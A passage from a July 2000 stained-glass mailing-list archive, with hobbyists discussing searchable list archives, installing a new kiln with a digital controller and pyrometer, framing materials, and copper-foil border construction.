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This isn't a searchable archive of bungi emails, it's a list of links to
other sites.  If someone could send me or point me towards all of the work
that was done on these archives, I would gladly put them it on my website or
I could help doing it on another site.  Who is in charge of it??


----- Original Message -----
From: "jazzykid" <jazzykid@tir.com>
To: "Mary Lou Eveland" <maryloueveland@home.com>; <glass@bungi.com>
Sent: Friday, July 14, 2000 11:31 AM
Subject: Re: Archives



Hi Mary Lou,

Yes, there were a few of us working on the archives.  We did finish them,
and I have tried to contact Jim and Chris repeatedly.  Unfortuately, no
answer.  A friend of mine sent me this URL for archives that Chris has
created:
http://members.spree.com/thearts/glassarchive/

But, I admit this wasn't what I had in mind when, I spent all those hours
editing !!!  One day perhap, we will have a searchable archive for bungi.
There is too much information there not to have it searchable.

Jill Medlyn





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From owner-glass Fri Jul 14 10:15:54 2000
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From: "jazzykid" <jazzykid@tir.com>
To: "Mary Lou Eveland" <maryloueveland@home.com>, <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Archives
Date: Fri, 14 Jul 2000 12:31:13 -0400
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Hi Mary Lou,

Yes, there were a few of us working on the archives.  We did finish them,
and I have tried to contact Jim and Chris repeatedly.  Unfortuately, no
answer.  A friend of mine sent me this URL for archives that Chris has
created:
http://members.spree.com/thearts/glassarchive/

But, I admit this wasn't what I had in mind when, I spent all those hours
editing !!!  One day perhap, we will have a searchable archive for bungi.
There is too much information there not to have it searchable.

Jill Medlyn


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From owner-glass Fri Jul 14 10:31:48 2000
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X-Path: warmglass.com!mbwalker
From: "Brad Walker" <mbwalker@warmglass.com>
To: "Mary Lou Eveland" <maryloueveland@home.com>, <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Archives
Date: Fri, 14 Jul 2000 13:28:02 -0400
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> What I was looking for was a site that had a search
> engine so you could enter a word such as "putty" and find all of the
emails
> that contained the word "putty".  I thought there were some people working
> on cleaning up the archives and putting them in a searchable form.  The
only
> way to do it now is to go through each and everyone of the emails month by
> month.

Yes, I recall the effort to clean up the archives, but don't know what
became of it.

If you do go through the emails month by month, you can speed the process up
a little by using Control-F.  For most browsers that will call up a search
form -- just enter a word (like "putty") and it will search the emails in
that month.  That's faster than reading through everything, but you still
need to call up each month.

Does anyone know what became of the effort to clean up the archives?

Brad W


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From owner-glass Fri Jul 14 10:32:21 2000
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X-Path: tir.com!jazzykid
From: "jazzykid" <jazzykid@tir.com>
To: "Bungi" <Glass@bungi.com>
Content-Type: text/plain;
Subject: Art Fair
Date: Fri, 14 Jul 2000 12:36:52 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Don't forget Michiganders...the biggest Art Fair in Michigan in Ann Arbor is
next week.
http://www.artfair.org/

Jill Medlyn

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From owner-glass Fri Jul 14 12:36:56 2000
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X-Path: verrier-scotland.demon.co.uk!s.richard
From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: Mary Lou Eveland <maryloueveland@home.com>
Subject: Archives Index
Date: Fri, 14 Jul 2000 19:03:44 +0100
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@?>>
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Yes, I was wondering the other day what had become of all the work the
various volunteers put into the archives.  Does anyone know what the
progress is?
Steve

In message <1970Jan1.000.0@?>, Mary Lou Eveland
<maryloueveland@home.com> writes
>I know about that site.  What I was looking for was a site that had a search
>engine so you could enter a word such as "putty" and find all of the emails
>that contained the word "putty".  I thought there were some people working
>on cleaning up the archives and putting them in a searchable form.  The only
>way to do it now is to go through each and everyone of the emails month by
>month.
>
>
>----- Original Message -----
>From: "Albert Lewis" <alewis@alpha.nad.adelphia.net>
>To: <glass@bungi.com>
>Sent: Friday, July 14, 2000 5:12 AM
>Subject: Re: Archives
>
>
>
>> Speaking of archives, do we have a searchable archive now?  I went
>> to the IGGA site and tried to search there but I couldn't get it to
>> work.
>
>Glenna keeps the archives at http://www.bungi.com/glass/
>
>Page down a couple and you'll see them arranged by month.
>----
>For subscription changes, please mail to: glass-request@bungi.com
>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass
>
>
>
>----
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>Archives available at http://www.bungi.com/glass

-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
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From owner-glass Fri Jul 14 14:08:22 2000
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X-Path: fn3.freenet.tlh.fl.us!gonzalj
From: Jim Gonzalez <gonzalj@freenet.tlh.fl.us>
To: glass@bungi.com
Content-Type: TEXT/PLAIN; charset=US-ASCII
Subject: Re: Archives 
Date: Fri, 14 Jul 2000 16:45:41 -0400 (EDT)
Message-ID: <1970Jan1.000.0>
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Well I guess it's time to come out of lurkdom to test SMTP and answer
some of the questions which have been posted.

About a year ago Chris and I headed up a team of devoted Bungians who
went through the archives with the intent of producing a FAQ.  The task 
was twofold, each email to Bungi had to be read and a decision made to
keep or omit it from the FAQ.  All the emails which were kept had
to be classified by subject and edited to remove all the extra text.

The team worked miracles in wading through 4 years worth of
emails.  All the completed files were returned to me.  The files occupy
about 10MB on my hard drive.  Anyone who wants a copy of all the files is
free to have them, I would recommend more than a basic level of computer
skills as these are text files, one for each month.  I have written a
couple of programs which I use to extract information.  I was/am planning
to take these files and produce a FAQ, unfortunately that task has yet to
be completed.

Periodically over the past 6 months I have used the files to extract
information and post responses to questions.  I remember one response
regarding working with lead during pregnancy to which I posted a link
to a web site with extracts from the archives.  On another occasion
there was a question on Contracts.  Other times I have offered (via
private email) to do a search of the archives and provide information.

It is still a dream of mine to complete this task.  In the interim I offer
to search the archives for any subject you would be interested in.
Mary Ann, funny you should mention putty, because just this week I did a
summary for my own use in preparation for puttying three panels which I
just completed.

To Jill (jazzykid), I apologize for not answering your emails.  I
assume you sent them to the yahoo account, unfortunately I haven't checked
that in months and have forgotten the userid/password.  If you like, feel
free to contact me at this address.

Jim



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From owner-glass Fri Jul 14 15:29:53 2000
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From: Family Account <shad@mail2.nai.net>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Re: Archives Index
Date: Fri, 14 Jul 2000 17:13:06 -0400
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References: <<1970Jan1.000.0>>
Precedence: bulk

Well, you don't have to go through each post.  Pull up each month and do an Edit;
Find and type in the term you're looking for.  Still a lot of work, but better
than nothing, I guess.

Dorothy
.............


>
> >engine so you could enter a word such as "putty" and find all of the emails
> >that contained the word "putty".  I thought there were some people working
> >on cleaning up the archives and putting them in a searchable form.  The only
> >way to do it now is to go through each and everyone of the emails month by
> >month.
> >
> >

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From owner-glass Fri Jul 14 16:31:31 2000
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X-Path: home.com!maryloueveland
From: "Mary Lou Eveland" <maryloueveland@home.com>
To: "Chris Kaiser" <christkaiser@yahoo.com>,
Subject: Re: Bungi searchable archives
Date: Fri, 14 Jul 2000 17:10:48 -0500
Message-ID: <1970Jan1.000.0>
References: <<20000714170541.2884.qmail@web1102.mail.yahoo.com>>
Precedence: bulk

It doesn't work.


----- Original Message -----
From: "Chris Kaiser" <christkaiser@yahoo.com>
To: "Mary Lou Eveland" <maryloueveland@home.com>
Sent: Friday, July 14, 2000 12:05 PM
Subject: Re: Bungi seaarchable archives


Hi Mary Lou,

The searchable archive is located at:
http://www.igga.org
click on "search this site" over on the left nav bar.
Then read the directions over on the right side on how
to search the Bungi archives.

This in not the "Bungi Archive Project" which is on
hiatus for the time being. But hopefully will be
picked back up and completed sometime in the near
future.

Good luck searching!
8))
chris
http://www.glassgeek.com

__________________________________________________
Do You Yahoo!?
Get Yahoo! Mail - Free email you can access from anywhere!
http://mail.yahoo.com/



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From owner-glass Fri Jul 14 21:28:46 2000
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X-Path: bright.net!arasai
From: "Sarah" <arasai@bright.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: SG Book
Date: Sat, 15 Jul 2000 00:05:44 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hi All,
    Awhile back, someone mentioned that a book of business card patterns was
coming out around June. Does anyone know if this book is out yet, and where
I can find it? Thanks in advance...
Sarah

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From owner-glass Sat Jul 15 03:30:49 2000
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X-Path: arrakis.es!kiram
From: "Kira Mason" <kiram@arrakis.es>
To: "bungi" <glass@bungi.com>
Subject: RE: SG Book
Date: Sat, 15 Jul 2000 12:09:44 +0200
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Sara,
What do you mean about a bus. card pattern book?  Is it for directed towards
SG artists or crafts people?

Before (and still am) I dug into stained glass (a passion of mine since a
child, glass) I studied and worked as a graphic design artist.  Still do
business cards, co. logos, pamplets... for friends who know I do it.  Or
just if you need some direction.  You know where to find me!!  I don't
charge, it's more of a hobby now.  There is just so much cluttered crap out
there that someone decides he or she is going to design a bus/co. logo
YUCK!!

The book would be worth a look, I'm not knocking it, especially if it is
directed towards SG.  Most of all, keep it clean, neat, uncluttered and EASY
TO READ!  No gothic or script all in caps.  The people will take five
minutes just to figure out your name or co. name.
Kira
Madrid
-----Mensaje original-----
De: Sarah <arasai@bright.net>
Para: glass@bungi.com <glass@bungi.com>
Fecha: sábado 15 de julio de 2000 6:27
Asunto: SG Book


>Hi All,
>    Awhile back, someone mentioned that a book of business card patterns
was
>coming out around June. Does anyone know if this book is out yet, and where
>I can find it? Thanks in advance...
>Sarah
>
>----
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>Archives available at http://www.bungi.com/glass


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From owner-glass Sun Jul 16 21:32:55 2000
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From: Robert Jones <rejones@netrax.net>
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Date: Sun, 16 Jul 2000 22:51:44 -0400
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Is it me or have the messages stopped?

Bob

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From owner-glass Sun Jul 16 23:03:17 2000
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X-Path: home.com!cecnralph
From: Cecily and Ralph Wood <cecnralph@home.com>
To: Bungi Glass <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: new kiln - help???
Date: Sun, 16 Jul 2000 22:17:40 -0400
Message-ID: <1970Jan1.000.0>
Organization: Grendel Studios
Precedence: bulk

Hi all,

I think I've bitten off more than I can chew...

I have sitting in my basement a brand new Paragon GF 8B kiln - the
largest that will work on a 120 volt household current.  What it doesn't
have is any kiln furnature, but I'd ordered a shelf and some
stilts/legs, whatever.  It sits on it's own legs - short stubby things
so I'm not certain how you are supposed to get down to look in the peep
hole. However, that's the least of my problems.  It also comes with a
decidedly un-house-current electrical plug, which someone had mentioned
recently but at that point it didn't mean anything.  This plug looks
like a standard 3-prong plug with the round ground prong, and the two
vertical flat ones except that one of the flat ones is horizontal
instead.  I assume it is some kind of an awesome ground fault
interrupter plug, and an electrician is coming Friday.  Also, it want's
it's own circuit, which, I didn't realize, and all ours are in use.
Don't think my husband is too happy.

Sitting next to it is a Paragon Touch n Fire II (DTC 600C (model
THFII-13) digital controller.  This is an unused but old unit my friend
got on closeout some years ago for her kiln, but the guy who was to
install it died, and by now the kiln is gone, so, for her price, I got
it.  She was assured by Paragon it would work.  The kiln plugs into it
and it (with the same kind of funky plug) goes into the wall outlet.
All well and good.

However, now comes the horrifying part.  The "manual" for each of these
is pretty slap dash, assuming you know what you are doing, and I don't.
I've been reading them in increasing perturbation.  It looks like I have
to DRILL A HOLE through the steel jacket and the firebrick of the new
kiln, find some kind of glass or ceramic insulators to hold the
thermocouple from the controller in this hole, and to stand-off the wire
from the thermocouple from the kiln so it doesn't touch the outside of
the kiln.  In addition, there are directons for removing the present
controller which is an infinite switch from low - medium - high, and I'm
not certain whether this is to be done and the new controller attached,
or not.  Someplace one or the other manuals said something about keeping
the/a controller away from the kiln.

Part of the problem is these manuals typically are intended for 3 or 4
different appliances/models, so you are never quite certain which
directions are for which.

I do know a high-class electrical supply place some 20 miles away, so we
can probably get whatever is needed.  But...does anyone know exactly
what?  Has any one done this?  Like maybe this is your normal morning
task - fix a new kiln for somebody?  If so, would you, pretty please
with sugar on it, send your install notes, or otherwise be available for
my husband to ask questions of?

GREAT thanks in advance (and more afterwards, too)! - Cec

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


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From owner-glass Mon Jul 17 00:05:26 2000
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From: Bobfuses@aol.com
To: cecnralph@home.com, glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Re: new kiln - help???
Date: Mon, 17 Jul 2000 02:42:34 EDT
Message-ID: <1970Jan1.000.0>
Precedence: bulk

In a message dated 7/16/00 11:04:03 PM Pacific Daylight Time, 
cecnralph@home.com writes:

> I think I've bitten off more than I can chew...
>  
>  I have sitting in my basement a brand new Paragon GF 8B kiln - the
>  largest that will work on a 120 volt household current.  What it doesn't
>  have is any kiln furniture, but I'd ordered a shelf and some
>  stilts/legs, whatever.  It sits on it's own legs - short stubby things
>  so I'm not certain how you are supposed to get down to look in the peep
>  hole. 

Place the kiln on a table. Concrete blocks can be stacked to raise the height 
of the kiln.

However, that's the least of my problems.  It also comes with a
>  decidedly un-house-current electrical plug, which someone had mentioned
>  recently but at that point it didn't mean anything.  This plug looks
>  like a standard 3-prong plug with the round ground prong, and the two
>  vertical flat ones except that one of the flat ones is horizontal
>  instead.  I assume it is some kind of an awesome ground fault
>  interrupter plug, and an electrician is coming Friday.

It is no big deal for the electrician to change this plug which sounds like 
it is for a 20 amp circuit. Sounds like you do not want to change it if that 
is the plug that fits into the TnF controller. If you have qa 20 amp circuit 
the electrician can change the wall receptacle so the TnF can plug in or 
change the TnF plug.

  Also, it want's
>  it's own circuit, which, I didn't realize, and all ours are in use.
>  Don't think my husband is too happy.

As long as the other loads on the same circuit are turned off there should be 
no problem. Of course if you have a toaster and a microwave on the same 
circuit there will be problems and you will become expert at resetting the 
circuit breaker. As for your husband, I'll bet you can think of a way to 
cheer up the old grouch
>  
>  Sitting next to it is a Paragon Touch n Fire II (DTC 600C (model
>  THFII-13) digital controller.  This is an unused but old unit my friend
>  got on closeout some years ago for her kiln, but the guy who was to
>  install it died, and by now the kiln is gone, so, for her price, I got
>  it.  She was assured by Paragon it would work.  The kiln plugs into it
>  and it (with the same kind of funky plug) goes into the wall outlet.
>  All well and good.
>  
>  However, now comes the horrifying part.  The "manual" for each of these
>  is pretty slap dash, assuming you know what you are doing, and I don't.
>  I've been reading them in increasing perturbation.  It looks like I have
>  to DRILL A HOLE through the steel jacket and the firebrick of the new
>  kiln, find some kind of glass or ceramic insulators to hold the
>  thermocouple from the controller in this hole, and to standoff the wire
>  from the thermocouple from the kiln so it doesn't touch the outside of
>  the kiln. 

If you have a peep hole it is a good place to insert the pyrometer probe. An 
electrician might well be able to drill, ream, etc., a neat hole in your 
kiln. The pyrometer is best placed toward the back of the kiln and a couple 
of inches above the shelf- mid height in your kiln. Routing the pyrometer 
wire away from the kiln side should be no big deal. Do NOT shorten it as that 
will change the readings.

 In addition, there are directions for removing the present
>  controller which is an infinite switch from low - medium - high, and I'm
>  not certain whether this is to be done and the new controller attached,
>  or not.  Someplace one or the other manuals said something about keeping
>  the/a controller away from the kiln.

I believe that if you place the switch on high there is no further problem. 
Call Paragon with this and other questions. The controller is normally 
mounted on the wall behind the kiln.
>  
>  Part of the problem is these manuals typically are intended for 3 or 4
>  different appliances/models, so you are never quite certain which
>  directions are for which.
>  
>  I do know a high-class electrical supply place some 20 miles away, so we
>  can probably get whatever is needed.  But...does anyone know exactly
>  what?  Has any one done this?  Like maybe this is your normal morning
>  task - fix a new kiln for somebody?  If so, would you, pretty please
>  with sugar on it, send your install notes, or otherwise be available for
>  my husband to ask questions of?

I'm off to bed now but, God willing, I will get up in the morning and talk to 
you.
>  
>  GREAT thanks in advance (and more afterwards, too)! - Cec

Cheers, Bob in 9 2 0 2 6
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From owner-glass Mon Jul 17 02:18:35 2000
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X-Path: ilnk.com!andor
From: "Linda Jo Letscher" <andor@ilnk.com>
To: "Robert Jones" <rejones@netrax.net>,
Subject: Re: No messages
Date: Mon, 17 Jul 2000 00:44:34 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Bob,
Nope, it has been pretty quite here.  :-)  Guess everyone is out doing
glass.
Linda Jo
-----Original Message-----
From: Robert Jones <rejones@netrax.net>
To: glass@bungi.com <glass@bungi.com>
Date: Monday, July 17, 2000 12:41 AM
Subject: No messages


>Is it me or have the messages stopped?
>
>Bob
>
>----
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>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass


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From owner-glass Mon Jul 17 04:03:54 2000
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X-Path: go.com!officerjqg
From: James Garner <officerjqg@go.com>
To: glass@bungi.com
Content-Type: text/plain; charset=iso-8859-1
Subject: Kiln Help
Date: Mon, 17 Jul 2000 03:47:00 -0700 (PDT)
Message-ID: <1970Jan1.000.0>
Precedence: bulk

due to the recent e-mail concerning kilns, I have decided that it is not something I will be doing in the near future.  Good Luck,  I know a good crises head shrink if you end up needing, let me know.

James
James Garner
___________________________________________________
GO Network Mail                                    
Get Your Free, Private E-mail at http://mail.go.com


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From owner-glass Mon Jul 17 05:24:29 2000
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To: glass@bungi.com
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Date: Tue, 18 Jul 2000 10:06:55 -0700
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I had many messages Friday, only 1 each on Saturday and Sunday.
Must be nice out.  Tornado hit here Friday so Albertans are busy.

Linda

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From owner-glass Mon Jul 17 06:31:53 2000
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X-Path: erols.com!deethom
From: Dee Thompson <deethom@erols.com>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"
Subject: Re: new kiln - help???
Date: Mon, 17 Jul 2000 08:44:25 -0400
Message-ID: <3.0.32.20000717084423.00d3a6f4@pop.erols.com>
Precedence: bulk

Yeah, electrical things boggle my mind too.   I bought a paragon ceramic
kiln years ago and got it home and went DUH?  fortunately hubby was in a
rather good mood so....

he ran a separate line frum the fuse box to my studio room.  mine was 22o.
technically an electrician needs to do this in our state.  But it was just
runnung a wire, having a plug outlet on one end and knowing where to attach
it on the fuse box end in the laundry room.
Kiln furniture came from a garage sale from clayworker that was thinning
out her stuff. See if there is a shop that does ceramics in your
ares...greenware store or the like. I've even used flower pot to raise the
height or the articles...play around with found stuff while you are
learning the temp setting.
mine has a lo-med-hi setting, which is still in use.  He added a probe with
a much more accurate pyrometer which is eye level on the wall.  The
addition is te same as adding the controller. a small hole drilled thru the
steel case and the firebrick accepts the probe.  you can just use a nail to
start the hole...the case is not that thick! You can patch and replace the
brick so don't worry about that.  the small hole in the steel shell is not
a big deal either.  All the components can be replaced, so look at the kiln
as a group of parts.  the heating coil may someday break or burnout, but it
can be replaced...the brick is soft an crumbly, but replaceable and easily
patched...I've deon a lot of that!  
Once the kiln is up to high enough tamps to peek in, just put on your uv
glasses and look!  if you raise the kiln to use the peephole easily, you
could have it high enough to brush your arm against it when you reach in to
manipulate the hot glass while you're working it.
Fishers scientific has cheap polarizing filters and I just made them myself
from some sheets of the stuff (looka a bit like x ray film)from thier
catalog, and putting them between two thin sheets of glass. 
If you just get it plugged in and kilnwashed, start to play with it and it
will makes sense quickly.
Dee
>
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From owner-glass Mon Jul 17 06:34:36 2000
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X-Path: compuserve.com!Ensembles
From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>
Content-Type: text/plain;
Subject: frame
Date: Mon, 17 Jul 2000 08:27:44 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Message text written by INTERNET:DeeDee1008@aol.com
> However, I have been recommended to frame it in wood, as well.  Is this=
 =

really necessary?  I do not want
to, but I aslo do not want to repair it should it fall someday.  I feel t=
he

piece is well  made and strong, and expect the wood frame is not required=
. =


But...... what do you think??? Thanks to all for helping by responding. =

Dee  <

Not necessary.  Zinc frame is fine.  Wooden framing certainly helps
particularly in transport, but is not necessary.  I've just been
commissioned
to do a one 48" wide x 14" tall with zinc frame.

Christie A. Wood
North Wales, PA USA
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From owner-glass Mon Jul 17 09:02:19 2000
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From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>
Content-Type: text/plain;
Subject: new kiln - help???
Date: Mon, 17 Jul 2000 11:51:06 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Message text written by Cecily and Ralph Wood
>This plug looks
like a standard 3-prong plug with the round ground prong, and the two
vertical flat ones except that one of the flat ones is horizontal
instead.  I assume it is some kind of an awesome ground fault
interrupter plug, and an electrician is coming Friday.  Also, it want's
it's own circuit, which, I didn't realize, and all ours are in use.
Don't think my husband is too happy.<

Yeh, I'm the person who wrote that.  I just rewired the wall unit so that=

it accepted the commercial-grade "T" type plug sent with the kiln.
Got my parts & info from the electrician at Home Depot.  Luckily, my
shop already had a circuit available for this voltage, so, no problem
rewiring the thing.

Can't help you out with the controller.  I just use my kitchen timer
and do all ramping up/soaking stuff manually.

I put my Paragon ontop of a handtruck.  I use the peephole to
house the pyrometer.  I don't have to peep in (I cured myself
of this need to look inside), so I'm not going to drill an extra
hole in the kiln.  I purchased 2 kiln shelves, but could have gotten
by with only 1.

Christie A. Wood
North Wales, PA USA
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From owner-glass Mon Jul 17 09:17:53 2000
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From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>
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Subject: Mosiacs
Date: Mon, 17 Jul 2000 11:50:23 -0400
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Message text written by Peggy L Kinnetz
>My question is coming from a complete absence of knowledge (well almost)=

From owner-glass Mon Jul 17 09:31:45 2000
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From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>
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Date: Mon, 17 Jul 2000 11:50:31 -0400
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Message text written by Lorley Oneyear
>Hello, I'm planning on doing a floral panel for a window in one of my =

bathrooms. It's high above the tub and approx 10 high and 46" wide. I mad=
e =

a cardboard template of the opening and discovered that the opening sags =
a =

bit in the middle area of the window. Should I make my window a bit small=
er

so it is square? Or if I make it a bit smaller in the middle will my zinc=
 =

frame be able to "bend" just a bit? (maybe 1/4" difference)<

That's why I prefer to use lead H channel as a framing material.
You can always shave down lead to an exact fit.  Can you change the
frame to lead?

Christie A. Wood
North Wales, PA USA
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From owner-glass Mon Jul 17 10:01:48 2000
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From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>
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Subject: IGGA inquiry: Glass straw
Date: Mon, 17 Jul 2000 11:51:00 -0400
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Bungians (particularaly hot glass & flameworking artists),

If anyone can do this job or direct the Delawies to another
artist who can, it would be greatly appreciated.

Christie A. Wood - IGGA Exec. Director
North Wales, PA USA
-------------Forwarded Message-----------------
From:	Homer & Ettie Delawie, INTERNET:delawie@home.com
Date:	07/15/2000  3:54 PM
RE:	IGGA inquiry
 =

I am looking for a glass straw for a friend - a wine lover without =

the use of his hands.  Can you help me?

Thanks in advance,
Ettie Delawie=
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From owner-glass Mon Jul 17 10:22:00 2000
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From: "Christie A. Wood" <Ensembles@compuserve.com>
To: "INTERNET:BionicLady85@gateway.net" <BionicLady85@gateway.net>,
Content-Type: text/plain;
Subject: IGGA inquiry:Gallery Glass
Date: Mon, 17 Jul 2000 11:50:56 -0400
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Bungians,

I received this question from our website inquiry form.  Anyone on the li=
st
have experience using Gallery Glass which they would like to share?

Message text written by INTERNET:BionicLady85@gateway.net
>Is Gallery Glass easy to do? I'm thinking about doing french doors for =

parents that just moved into a new home. Thank you<

Christie A. Wood - IGGA Executive Director
North Wales, PA USA
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From owner-glass Mon Jul 17 11:31:54 2000
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X-Path: ilnk.com!andor
From: "Linda Jo Letscher" <andor@ilnk.com>
To: "Dee Thompson" <deethom@erols.com>,
Subject: Re: new kiln - help???
Date: Mon, 17 Jul 2000 10:08:32 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Dee,
Glad you are getting wired so to speak.  When I eventually get kiln fever, I
will know who to call.  Maybe next year for me.  (I say that every year, so
who knows).  Much good luck, and keep us up on how it goes.
Linda Jo

-----Original Message-----
From: Dee Thompson <deethom@erols.com>
To: glass@bungi.com <glass@bungi.com>
Date: Monday, July 17, 2000 10:00 AM
Subject: Re: new kiln - help???


>Yeah, electrical things boggle my mind too.   I bought a paragon ceramic
>kiln years ago and got it home and went DUH?  fortunately hubby was in a
>rather good mood so....
>
>he ran a separate line frum the fuse box to my studio room.  mine was 22o.
>technically an electrician needs to do this in our state.  But it was just
>runnung a wire, having a plug outlet on one end and knowing where to attach
>it on the fuse box end in the laundry room.
>Kiln furniture came from a garage sale from clayworker that was thinning
>out her stuff. See if there is a shop that does ceramics in your
>ares...greenware store or the like. I've even used flower pot to raise the
>height or the articles...play around with found stuff while you are
>learning the temp setting.
>mine has a lo-med-hi setting, which is still in use.  He added a probe with
>a much more accurate pyrometer which is eye level on the wall.  The
>addition is te same as adding the controller. a small hole drilled thru the
>steel case and the firebrick accepts the probe.  you can just use a nail to
>start the hole...the case is not that thick! You can patch and replace the
>brick so don't worry about that.  the small hole in the steel shell is not
>a big deal either.  All the components can be replaced, so look at the kiln
>as a group of parts.  the heating coil may someday break or burnout, but it
>can be replaced...the brick is soft an crumbly, but replaceable and easily
>patched...I've deon a lot of that!
>Once the kiln is up to high enough tamps to peek in, just put on your uv
>glasses and look!  if you raise the kiln to use the peephole easily, you
>could have it high enough to brush your arm against it when you reach in to
>manipulate the hot glass while you're working it.
>Fishers scientific has cheap polarizing filters and I just made them myself
>from some sheets of the stuff (looka a bit like x ray film)from thier
>catalog, and putting them between two thin sheets of glass.
>If you just get it plugged in and kilnwashed, start to play with it and it
>will makes sense quickly.
>Dee
>>
>----
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From owner-glass Mon Jul 17 15:04:30 2000
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X-Path: 4esc.com!SAmt
From: Sonya Amt <SAmt@4esc.com>
To: glass@bungi.com
Content-Type: text/plain;
Subject: Copper Foil Panel
Date: Mon, 17 Jul 2000 12:01:51 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

I am doing a wisteria piece that is 34" x 22".  There are over 400 pieces
that I am copper foiling.  To that I am adding a border that will have 1"
square bevels with a 1/2" - 1" wide (haven't decided which yet) rectangles
on each side of the bevels. My question is should I continue the copper foil
method in making the border or should I switch to lead for the border so
that it will add strength to the entire piece.  My local supplier even
suggested that I use H channel Zinc which she thought would further
strengthen the entire piece.  I am already adding a copper reinforcement
throughout the main wisteria piece.  Also how much space between pieces do I
allow for the came?  1/16"?


Thank you!!!!
SONYA 


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From owner-glass Mon Jul 17 18:04:36 2000
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From: "J. Dahlin" <jdahlin@pro-ns.net>
To: Robert Jones <rejones@netrax.net>
Content-Type: text/plain; charset=us-ascii
Subject: Re: No messages
Date: Mon, 17 Jul 2000 19:35:19 -0500
Message-ID: <1970Jan1.000.0>
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I was out of town for the weekend and had 50 messages waiting for me
when I got back.  Most of them were Bungi messages.  I wasn't getting
them a few weeks ago and when I sent a similar message they seemed to
come flooding back.  I notice every once in a while someone says they
aren't getting messages.

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From owner-glass Mon Jul 17 18:55:22 2000
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X-Path: home.com!cecnralph
From: Cecily and Ralph Wood <cecnralph@home.com>
To: Bobfuses@aol.com, Bungi Glass <glass@bungi.com>
Content-Type: text/plain; charset=iso-8859-1; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: Re: new kiln - help???
Date: Mon, 17 Jul 2000 21:22:58 -0400
Message-ID: <1970Jan1.000.0>
References: <<6d.6a0c5f2.26a4d834@aol.com>>
Organization: Grendel Studios
Precedence: bulk

One of the uses of the peep hole is for venting, as well as the recommended 1"
leg/stilt/whatever, especially in rapid cooling back to around 1100º before
annealing, so I was worried about using it for that.  The thing came with 2
peep plugs (obviously I need to learn some new nomenclature here), so I guess
I could sacrifice one, but I then worry about the pyrometer falling out (which
they guarantee will cause it to overfire).  Plus there is still the wire to
keep away from the outside of the kiln. - Cec

Bobfuses@aol.com wrote:

> In a message dated 7/17/00 2:22:56 PM Pacific Daylight Time,
> cecnralph@home.com writes:
>
> >  Bless your heart!  The day of stress will be Friday.  You think the
> > electrician
> > could install the pyrometer, hunh?
>
> Most electricians are adept at drilling holes. The light gauge stainless
> steel case of the kiln should not be a great problem. The soft fire brick
> drills like hard butter.
>
> You can also use your kilns peep hole for the pyrometer. I almost never use
> the peep hole but lift the lid to check when necessary. There is no need to
> check repeat firings because the controller is highly repeatable.
>
> Cheers, Bob in 9 2 0 2 6

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


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From owner-glass Mon Jul 17 19:17:16 2000
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From: aglassworks@juno.com
To: glass@bungi.com
Content-Type: text/plain
Subject: Two questions
Date: Mon, 17 Jul 2000 19:59:54 -0700
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hello,
I've looked in the archives to no avail...........

Does anyone have any words of wisdom (good or bad) concerning the glass
tabletop fountains?

Also I recall seeing information on a method of mixing a concrete formula
for stepping stones that is similiar to DiamondCrete.  If anyone has any
suggestions please feel free to email me personally so as to not upset
anyone on the list for duplicate postings.

Thanks.


________________________________________________________________
YOU'RE PAYING TOO MUCH FOR THE INTERNET!
Juno now offers FREE Internet Access!
Try it today - there's no risk!  For your FREE software, visit:
http://dl.www.juno.com/get/tagj.
----
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From owner-glass Mon Jul 17 22:28:47 2000
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X-Path: home.com!cecnralph
From: Cecily and Ralph Wood <cecnralph@home.com>
To: Bobfuses@aol.com, Bungi Glass <glass@bungi.com>
Content-Type: text/plain; charset=iso-8859-1; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: Re: new kiln - help???
Date: Tue, 18 Jul 2000 01:05:24 -0400
Message-ID: <1970Jan1.000.0>
References: <<31.7aa3e3f.26a523c1@aol.com>>
Organization: Grendel Studios
Precedence: bulk

Tomorrow I'll give them a call.  Betcha, for a price, they would be able to find
an extra peep plug adapter.  They could probably also overnite it so it would be
here when the electrician comes.  (Big deal in this household - to hire an
electrician - twice in 16 years, I think.)   Thanks for your help - it doesn't
seem quite so scary now. - Cec

Bobfuses@aol.com wrote:

> In a message dated 7/17/00 7:01:18 PM Pacific Daylight Time,
> cecnralph@home.com writes:
>
> > One of the uses of the peep hole is for venting, as well as the recommended
> 1"
> >
> >  leg/stilt/whatever, especially in rapid cooling back to around 1100º before
> >  annealing, so I was worried about using it for that.  The thing came with 2
> > peep plugs (obviously I need to learn some new nomenclature here), so I
